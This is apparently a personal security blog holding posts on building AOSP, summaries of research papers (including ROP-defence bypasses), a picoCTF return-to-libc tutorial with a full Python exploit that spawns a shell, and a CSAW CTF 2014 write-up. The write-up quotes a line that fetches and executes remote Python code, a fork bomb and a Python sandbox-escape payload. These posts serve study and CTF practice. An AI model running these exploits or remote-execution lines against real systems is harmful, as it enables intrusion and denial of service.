Seshagiri

Computer Security enthusiast

Building AOSP source code — August 12, 2015

Building AOSP source code


 

  1. System info

Kernel Linux 3.13.0-55-generic x86_64 x86_64 x86_64 GNU/Linux
LSB release Ubuntu 14.04.2 LTS
gcc gcc version 4.8.4 (Ubuntu 4.8.4-2ubuntu1~14.04)
make GNU Make v3.81
Primary Mem 7.7G
Swap 2.8G
Processor Intel(R) Core(TM) i5-4210U CPU @ 1.70GHz * 4
  1. Setting up linux environment

    Installing JDK

    $ sudo apt-get install openjdk-7-jdk

    Update JDK to OpenJDK: Manually choose the version of OpenJDK from the list

    $ sudo update-alternatives --config java
    $ sudo update-alternatives --config javac

    Installing other debian packages required for building

    $ sudo apt-get install bison g++-multilib git gperf libxml2-utils make python-networkx zlib1g-dev:i386 zip

    Optimizing a build environment: Compiler cache to fasten up building

    $ export USE_CCACHE=1
    $ export CCACHE_DIR=/tmp/.cache
    $ prebuilts/misc/linux-x86/ccache/ccache -M 50G
  2. Downloading the source

    Installing repo: a tool to fetch the source code of AOSP

    $ mkdir ~/bin 
    $ PATH=~/bin:$PATH
    $ curl https://storage.googleapis.com/git-repo-downloads/repo > ~/bin/repo
    $ chmod a+x ~/bin/repo

    Initializing a repo client: After installing Repo, set up our client to access the Android source repository

    $ mkdir WORKING_DIRECTORY
    $ cd WORKING_DIRECTORY
    $ repo init -u https://android.googlesource.com/platform/manifest

    Downloading the Android source tree

    $ repo sync
  3. Building Source

    Run a script to capture the terminal session for build logs

    $ sudo apt-get install bsd-utils
    $ script -t -a 2> /tmp/time.txt /tmp/record.txt

    Initialize Build

    $ source build/envsetup.sh

    Choose a target

    $ lunch aosp_arm-eng

    Build the code

    $ date; make -j32; date;
  1. Statistics

  2. More information about statistics is included in the records.txt (terminal logs) and log (memory and process log)
Size before the build 39.7 GB
Size after the build 67 GB
Build start time 12:04:56 IST
Build end time 13:35:26 IST
Total build time 01:30:30
  • Emulator:

    After a successful build, emulator tool will be installed in the host machine. Build version is 5.1.1_r8

    AOSP_ROM1.png

Paper reading 1 —

Paper reading 1


I will post some of the research papers which I have read as a part of the literature survey for my master’s degree thesis:

Security Analysis of Android Factory Resets (AFR)[1]

Introduction

  • Raises doubts against the current security of the factory settings of Android devices
  • Improper sanitization of the data partition leads to exposure/recovery of user credentials due to flawed factory reset

Problem definition

  • The amount of data left behind by flawed implementations
  • The drivers being flawed
  • Critical failures of AFR pointed out by the researchers
    • The lack of Android support for proper deletion of data partition
    • Incompleteness of upgrades pushed to flaws by vendors
    • The lack of driver support for proper deletion shipped by vendors in new devices
    • The lack of Android support in the deletion of internal and external SD card in all SDKs
    • The fragility of full-disk encryption to mitigate problem upto Android v4.4

Contribution of the research paper

  • The first comprehensive study of AFR, by analyzing the security of 21 devices from 5 different vendors running Android v2.3x – v4.3
  • Discovered critical failures of the Android OS and/or vendor shipped devices for the secure deletion of user data and account details during AFR .
  • Suggestion for improving for Google and vendors to mitigate the future risks

Mentioned about three ioctl() functions MEMERASE, BLKDISCARD, BLKSECDISCARD,  used for sanitising the data partitions.

Results

  1. The sanitisation of the external storage occurs only if a user selects the additional option “External Storage” or “Secondary Storage” in the AFR
  2. Data partitions store the confidential data about Google and third party apps. It was found that devices which were upgraded from v2.3 to v4.0 doesn’t update the device driver for ioctl to execute BLKSECDISCARD on the logical sanitising functionality from the underlying eMMC.
  3. The phones released with newer version of Android ICS and JB seems to have the same issues as the mobile phone vendor hasn’t provided the updated device drivers of ioctl() to call secure logical sanitization functions.

Suggestions to improve

  1. An app to overwrite the entire partition “bit-by-bit”. But it requires root permission
  2. AOSP supports full disk encryption but it is uses user (4-6 digit) PIN to encrypt the entire data/external partition.

Open research questions

  1. Investigate security of digital sanitisation of very recent devices (models above Android v4.4) after an AFR

ROP is still Dangerous: Breaking Modern Defences[2]

Problem statement:
Failures of existing ROP defense mechanism

Novelty:

  1. Introduces three novel techniques to bypass the existing defense mechanism of ROP attacks.
  2. A baseline set of attacks that can be used to evaluate future ROP defenses
  3. Bypasses the state-of-art ROP defenses including kBouncer and ROPecker

Existing ROP defense techniques:

  1. Call preceded ROP: Normally, every ret instruction returns back to an instruction that immediately follows a corresponding call. ROP attacks deviate from this pattern.
  2. Evasion attacks: Anomaly detection at runtime. ROP attacks tries to make it appear as normal. ROP defenses check if there’s any short gadgets. Discards long gadgets. An attacker can evade this protection by using long gadgets.
  3. History Flushing: Defense inspect limited memory execution history and inspect them for any possible ROP attacks. This could be evaded by overwriting with a fake history

kBouncer

Overview

  1. Inspects last 16 indirect branches taken each time the program invokes a system call
  2. It verifies that all ret instructions in the LBR returned to a call-preceded address.
  3. If the eight most recent indirect branches are all gadget like, the process is killed

Attack overview

  1. Initial exploitation: A traditional ROP payload is mounted in the easiest way discarding the fact that kBouncer is present in the system. Memory is prepared to make syscalls but not yet ready to invoke
  2. Hide the history: Before invoking a system call, history hiding attack is launched. As a side effect, the registered may be clobbered but memory locations remains unchanged. A termination gadget is used to terminate kBouncer’s backward search for gadget like sequences.
  3. Restore the registers and issue system call: After bringing the process into a valid state, the registered are restored into their desired values. Then system call is issued via evasion attack. It is achieved using less than 8 call-preceded gadgets

Requirements for future defenses against ROP

  1. Either the defenses should have access to all the previous history or with the limited history should not be cleared out by the attacker.
  2. Defenses that defend against one specific aspect of ROP must argue that is a necessary component of one

Open research problem

  1. A general purpose defense against ROP attacks
  2. Find the fundamental difference between the ROP attacks and typical program execution

Android Prespective

kBouncer and ROPecker is not yet implemented for Android. Hence Android kernels are vulnerable to ROP attacks.

Dune: Safe User-Level Access to Privileged CPU features[3]

Dune provides applications with direct but safe access to hardware features such as ring protection, page tables and tagged TLB. Dune uses the virtualization hardware in modern processors to provide a process than a machine abstraction. It includes a small kernel module that instantiates virtualization hardware and mediates interactions with kernel and a user level library that helps applications manage privileged hardware features. Applications of Dune: sandboxing, privilege separation, and garbage collection.

Contributions

  1. A design that uses hardware-assisted virtualization to safely and efficiently expose privileged hardware features to user programs while preserving standard OS abstractions.
  2. Evaluates three hardware features in detail and show how they can benefit user programs: exceptions, paging, and privilege modes.
  3. Demonstration of the end-to-end utility of Dune by implementing and evaluating three use cases: sandboxing, privilege separation, and garbage collection

Open research topics

  1. Currently supports x86 CPUs and Intel VT-x. Could be extended to ARM x86 and x64. Requires to create an efficient architecture independent interface of libDune.
  2. Utilities in libDune are not thread safe. Support of libc Signal calls (signal, sigaction)
  3. Android sandboxing could be achieved by implementing Dune (VMX ring3, non root mode) on top of the underlying Linux kernel. ART could run on top of Dune.

References:

[1] http://www.cl.cam.ac.uk/~rja14/Papers/fr_most15.pdf

[2] http://nicholas.carlini.com/papers/2014_usenix_ropattacks.pdf

[3] http://www.scs.stanford.edu/~dm/home/papers/belay:dune.pdf

Return to libc attack — October 26, 2014

Return to libc attack


What if we are on a system with non-executable stack? Or a system that carefully distinguishes between data and instructions, so that our data will not be executable? Then the return address must be overwritten with an address of our choice that points at executable code that was present already.

In this example, I am going to explain a problem from 2013 picoCTF (overflow 5)

Dump of assembler code for function vuln:
   0x080484c0 :     sub    esp,0x41c
   0x080484c6 :     mov    eax,DWORD PTR [esp+0x420]
   0x080484cd :    mov    DWORD PTR [esp+0x4],eax
   0x080484d1 :    lea    eax,[esp+0x10]
   0x080484d5 :    mov    DWORD PTR [esp],eax
   0x080484d8 :    call   0x8048380 
   0x080484dd :    add    esp,0x41c
   0x080484e3 :    ret    
End of assembler dump.

If you have a look at the highest addresses of a linux ELF binary via gdb, when it is
first loaded into memory, you’ll see something like this:

--------------------- 0xBFFFFFFF
|\x00 \x00 \x00 \x00| 0xBFFFFFFB (4 NULL byte)
|\x00 ........      | 0xBFFFFFFA (program_name)
| ..................|
|...................| n. environment variable (env[n])
|...................| n-1. environment variable (env[n-1])
|...................|           ...
|...................| 1. environment variable (env[0])
|...................| ...
|...................| n. argument string (argv[n])
|...................| n-1. argument string (argv[n-1])
|...................| ...
|          .        |
|          .        |
|          .        |

The standard trick is to use the system() libc library call. We’ll do a system("/bin/sh") call. Make the return address point at system(), and prepare the stack so that this routine finds its argument on the stack. We need the addresses of system() and "/bin/sh" and (for a clean exit) of exit().

First find the addresses of system() and exit() in libc

$ gdb overflow5-0353c1a83cb2fa0d                                                                                                                                               
gdb-peda$ break main
Breakpoint 1 at 0x80483c3
gdb-peda$ r
.
.
Breakpoint 1, 0x080483c3 in main ()
gdb-peda$ p system
$1 = {} 0xb7e5f060 
gdb-peda$ p exit
$2 = {} 0xb7e52be0

In-order to exploit this vulnerable program, you have to setup the program stack like this:
Stack

  • Above figure illustrates the contents of the stack after buffer overflow. First 1032 bytes occupies the actual memory allocated to the stack. So during the overflow attack I kept first 1032 bytes buffer empty or with ‘A’s
  • Next 4 bytes would be the pointer to the previous stack frame. So this contains the memory address of the stack frame of the main() method. So next 4 bytes of the buffer is empty as well. So first 1036 bytes of the buffer array could be empty or filled with any arbitrary value during the attack.
  • Originally next 4 bytes represent the return address of the vuln() function. So after function execution, program will return to the code line of this address. This would be the prominent target of the stack overflow attack. During the overflow this 4 bytes (1037 – 1040) was overridden with the memory address of the system() libc function.
  • After the completion of system() function, execution will return to the address specified in this 4 bytes block. So address of the exit() function should be place in this 4 bytes. (1041 – 1044).
  • During the execution of system() function, program will look up next 4 bytes for any available arguments of system() function call (1045 – 1049). So this 4 bytes contains the address to “/bin/sh” string

.
This is how the exploit looks like:

#!/usr/bin/env python
from os import execve
from struct import pack
from platform import machine

system = 0xb7e5f060       # Address of system()
exit  = 0xb7e52be0        # Address of exit()

#  Program to exploit
vuln = "./overflow5-0353c1a83cb2fa0d"

arg = "/bin/sh"
env = {"":arg}

# Calculate address of binsh on stack
if machine() == 'x86_64': binsh = 0xffffe000 - 0x8 - len(vuln) - len(arg) - 0x2
else: binsh = 0xc0000000 - 0x4 - len(vuln) - len(arg) - 0x2

payload = "A" * 1036            # buffer + EBP
payload += pack("<I", system)   # system()
payload += pack("<I", exit)     # exit()
payload += pack("<I", binsh)    # addr("/bin/sh")

# Execute program with payload
execve(vuln, [vuln, payload], env)
CSAW CTF Quals 2014 — September 22, 2014

CSAW CTF Quals 2014


Reversing 100

A zip archive was given eggshell-master.zip
I tried to run some of the python files included in it. But it crashed my machine.
Then I found a file named utils.pyc and I decompiled it using uncompile2.

/usr/local/bin/uncompyle2 utils.pyc                                                                                                            
# 2014.09.22 12:44:53 IST
#Embedded file name: /Users/kchung/Desktop/CSAW Quals 2014/rev100/utils.py
exec __import__('urllib2').urlopen('http://kchung.co/lol.py').read()
+++ okay decompyling utils.pyc 
# decompiled 1 files: 1 okay, 0 failed, 0 verify failed
# 2014.09.22 12:44:53 IST

I opened http://kchung.co/lol.py link which displayed the following code:

import os
while True:
    try:
        os.fork()
    except:
        os.system('start')
# flag{trust_is_risky}

Reversing 200

A windows PE32 executable was given. Which was more or less a similar challenge to last year’s quals.

I ran the program and found that it prints an encrypted flag. I immediately loaded it in IDA with debugger and found that the program exits upon the detecting a debugger and an decryption function is called just before that. Kindly follow what is mentioned in this image to get the decrypted flag
Reversing 200

flag{reversing_is_not_that_hard!}

Networking 100

A pcap file was given:
Hint given was misleading. But I knew that flag would be transferred through a tcp connection as a plain text according to the point given for this challenge. I created a dump of the tcp connections as tcp.pcap. I used a tool called tcpflow which breaks down each and every tcp connection and stores its content in ASCII file.

tcpflow -r tcp.pcap

These are the various files created after running the above commmand.

058.179.133.087.62973-192.168.221.128.01301 192.168.221.128.01300-061.054.024.060.20302 192.168.221.128.01315-173.014.243.236.00080
074.095.093.093.16881-192.168.221.128.01302 192.168.221.128.01301-058.179.133.087.62973 192.168.221.128.01317-162.017.162.237.06881
173.014.243.233.16881-192.168.221.128.01277 192.168.221.128.01302-074.095.093.093.16881 192.168.221.128.01318-197.083.255.148.43786
192.168.221.128.01277-173.014.243.233.16881 192.168.221.128.01306-192.168.221.136.00023 192.168.221.128.01320-061.054.024.053.20202
192.168.221.128.01292-192.168.221.136.00022 192.168.221.128.01307-096.252.203.249.60974 192.168.221.128.01322-106.120.035.039.22827
192.168.221.128.01293-173.014.243.236.00080 192.168.221.128.01308-061.054.024.062.20402 192.168.221.136.00022-192.168.221.128.01292
192.168.221.128.01295-101.226.180.138.20902 192.168.221.128.01309-061.054.024.072.20402 192.168.221.136.00023-192.168.221.128.01306
192.168.221.128.01296-180.153.091.176.20802 192.168.221.128.01311-036.229.180.205.06881 197.083.255.148.43786-192.168.221.128.01318
192.168.221.128.01297-061.054.024.070.20202 192.168.221.128.01312-087.218.248.070.20388 alerts.txt
192.168.221.128.01298-071.245.166.078.51413 192.168.221.128.01313-064.087.001.236.16881 report.xml
192.168.221.128.01299-099.235.219.011.06881 192.168.221.128.01314-122.141.235.138.20802 tcp.pcap

Then I ran `strings` to check for any flag in plain text. And fortunately
I found the flag in plain text.

strings * | grep "flag"

flag{bigdataisaproblemnotasolution}

Exploitation 100

An ELF 32 binary file was given
I ran a strings command on it and flag was hard coded in it

flag{exploitation_is_easy!}

Exploitation 200

A python file was given.

In this problem all the functions except print and raw_input
are removed from the python shell which is given to us.

This is similar to python jail break challenge in plaidCTF 2013.
After a few google search I came to know that in Python, a type object has a __bases__ attribute which returns the list of all its base classes. It also has a __subclasses__ method that returns the list of all types that inherit from it. If we use __bases__ on a random
type, we can reach the top of the type hierarchy (object type), then read the subclasses of object to get a list of all types defined in the interpreter

().__class__.__bases__[0].__subclasses__()

40th index points to file function

In [10]: ().__class__.__bases__[0].__subclasses__()[40]
Out[10]: file

And the exploit is here:

().__class__.__bases__[0].__subclasses__()[40]('./key').read()

solution for more challenges would be added very soon.

PREC: Practical Root Containment For Android Devices — April 30, 2014

PREC: Practical Root Containment For Android Devices


Recently, I had come across this paper which was published by professors from NCSU.  Google Play is the new hub of distributing Malwares to the Android devices. A recent survey said that around 70% of the apps in the Google play are malwares. Currently, there’s no robust and 100% accurate mechanism in Google play to detect the presence of Malicious code in the app which a user submits.  PREC can dynamically identify system calls from high-risk components (e.g., third- party native libraries) and execute those system calls within isolated threads. Hence, PREC can detect and stop root exploits with high accuracy while imposing low interference to benign applications.

My understanding

Existing problems

  1. Failure of Google play for detecting malicious applications
  2. Current apps are intelligent enough to detect the emulated environment (Google play test on emulated env)
  3. Environment couldn’t differentiate apps uses third party native codes which may be malicious (not all time)

Contributions of the paper

  1. An architecture for mitigating root exploit malware that hides its existence during dynamic analysis. The approach mentioned in the proposal forces malware to commit to a normal behavior during dynamic analysis (Google play) and malicious attacks are detected and stopped at run time (on device)
  2. A run time, kernel level, system call origin identification mechanism that is used to build a fine grained behavior models for higher anomaly detection accuracy and practical malware containment
  3. Introduced a scalable and robust behavior learning and anomaly detection scheme using self organizing map (SOM) learning algorithm that can achieve both high accuracy and low overhead

During dynamic analysis, PREC records and labels each system call as originating either from third party native code or from Java code.
Current scenario:

  1. All existing malware that exploits root privilege escalation vulnerability uses third party native code
  2. Low level system APIs required by root exploits are not often available to Java code
  3. Program analysis of third party native code is significantly more difficult than Java code or system libraries, hence most malware analysis tools ignore such third party native codes

Design and Implementation details

System call identification

Approach 1: Perform classified system call monitoring by separating the system call originating from high risk third party from the system calls issued by low dangerous Java code.
Cons of approach 1: Java and third party native code uses system provided native libraries to invoke system call. Hence need to differentiate between both.
Approach 2: Dalvik VM notifies Kernel when a thread switches to third party code. The kernel can maintain a flag afterwards.
Cons of Approach 2: Vulnerable to a confused deputy attack:- the kernel cannot determine if the flag change request was from Dalvik VM or third party native code.
Approach 3:A thread based approach: Maintains a pool of special threads called native threads and execute all the third party native functions using these native threads. Malicious code cannot change a native thread to a normal thread. No communication is required between Dalvik VM and Kernel since pool of native thread are created bu PREC at app launch time.
When a Java thread needs to execute a third party native function, the Java thread is suspended and an idle native thread is dynamically selected to execute native function. This native thread is killed only after the native function ends its execution.
Pros:

  1. Kernel tracer can easily identify the system call origins (from Java or native components
  2. The thread based approach isolates only small portion of the application => no need to kill the whole application
  3. PREC can easily incoporate other executions sandboxing mechanims to provide additional security isolation between Java and malicious native code.

Main challenges authors faced

  1. Making run time root exploit containment practically achievable at a low false alarm rate
  2. Imposing low interference to benign applications
Follow

Get every new post delivered to your Inbox.

Join 54 other followers